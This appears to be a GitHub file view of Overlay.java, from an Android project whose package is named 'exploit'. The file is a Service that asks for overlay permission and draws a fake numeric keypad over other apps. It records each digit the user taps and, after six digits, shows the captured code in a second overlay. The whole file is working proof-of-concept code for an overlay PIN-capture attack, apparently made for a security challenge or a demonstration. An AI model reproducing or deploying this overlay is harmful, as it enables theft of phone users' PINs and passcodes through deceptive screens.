-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathOverlay.java
More file actions
151 lines (129 loc) · 5.45 KB
/
Copy pathOverlay.java
File metadata and controls
151 lines (129 loc) · 5.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
package com.sekai.exploit;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.PixelFormat;
import android.net.Uri;
import android.os.Build;
import android.os.IBinder;
import android.provider.Settings;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.Nullable;
import androidx.annotation.RequiresApi;
public class Overlay extends Service implements View.OnTouchListener, View.OnClickListener {
WindowManager w;
View overlayView;
int count = 0;
private TextView textView;
private StringBuilder sb = new StringBuilder();
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onClick(View view) {}
@Override
public boolean onTouch(View view, MotionEvent motionEvent) {
return true;
}
@RequiresApi(api = Build.VERSION_CODES.O)
@Override
public void onCreate() {
super.onCreate();
if (!Settings.canDrawOverlays(this)) {
Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
Toast.makeText(this, "Please grant overlay permission", Toast.LENGTH_LONG).show();
stopSelf();
return;
}
w = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
overlayView = LayoutInflater.from(this).inflate(R.layout.custom, null);
overlayView.setOnTouchListener(this);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
PixelFormat.TRANSLUCENT
);
Button btn1 = overlayView.findViewById(R.id.btn1);
Button btn2 = overlayView.findViewById(R.id.btn2);
Button btn3 = overlayView.findViewById(R.id.btn3);
Button btn4 = overlayView.findViewById(R.id.btn4);
Button btn5 = overlayView.findViewById(R.id.btn5);
Button btn6 = overlayView.findViewById(R.id.btn6);
Button btn7 = overlayView.findViewById(R.id.btn7);
Button btn8 = overlayView.findViewById(R.id.btn8);
Button btn9 = overlayView.findViewById(R.id.btn9);
Button btn0 = overlayView.findViewById(R.id.btn0);
Button btnClear = overlayView.findViewById(R.id.btn_clear);
btn1.setOnClickListener(this);
btn2.setOnClickListener(this);
btn3.setOnClickListener(this);
btn4.setOnClickListener(this);
btn5.setOnClickListener(this);
btn6.setOnClickListener(this);
btn7.setOnClickListener(this);
btn8.setOnClickListener(this);
btn9.setOnClickListener(this);
btn0.setOnClickListener(this);
btnClear.setOnClickListener(this);
textView = new TextView(this);
textView.setTextColor(Color.WHITE);
textView.setTextSize(18);
textView.setBackgroundColor(Color.BLACK);
textView.setPadding(20, 20, 20, 20);
textView.setGravity(Gravity.CENTER);
// Initialize the LayoutParams for the TextView
WindowManager.LayoutParams textViewParams = new WindowManager.LayoutParams(
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.WRAP_CONTENT,
WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
PixelFormat.TRANSLUCENT
);
textViewParams.gravity = Gravity.TOP | Gravity.CENTER_HORIZONTAL;
btn1.setOnClickListener(view -> handleButtonClick("1", textViewParams));
btn2.setOnClickListener(view -> handleButtonClick("2", textViewParams));
btn3.setOnClickListener(view -> handleButtonClick("3", textViewParams));
btn4.setOnClickListener(view -> handleButtonClick("4", textViewParams));
btn5.setOnClickListener(view -> handleButtonClick("5", textViewParams));
btn6.setOnClickListener(view -> handleButtonClick("6", textViewParams));
btn7.setOnClickListener(view -> handleButtonClick("7", textViewParams));
btn8.setOnClickListener(view -> handleButtonClick("8", textViewParams));
btn9.setOnClickListener(view -> handleButtonClick("9", textViewParams));
btn0.setOnClickListener(view -> handleButtonClick("0", textViewParams));
btnClear.setOnClickListener(view -> handleButtonClick("C", textViewParams));
w.addView(overlayView, params);
}
private void handleButtonClick(String input, WindowManager.LayoutParams textViewParams) {
sb.append(input);
count++;
if (count == 6) {
textView.setText(sb.toString());
w.addView(textView, textViewParams);
}
}
@Override
public void onDestroy() {
super.onDestroy();
if (overlayView != null) {
w.removeView(overlayView);
}
if (textView != null) {
w.removeView(textView);
}
}
}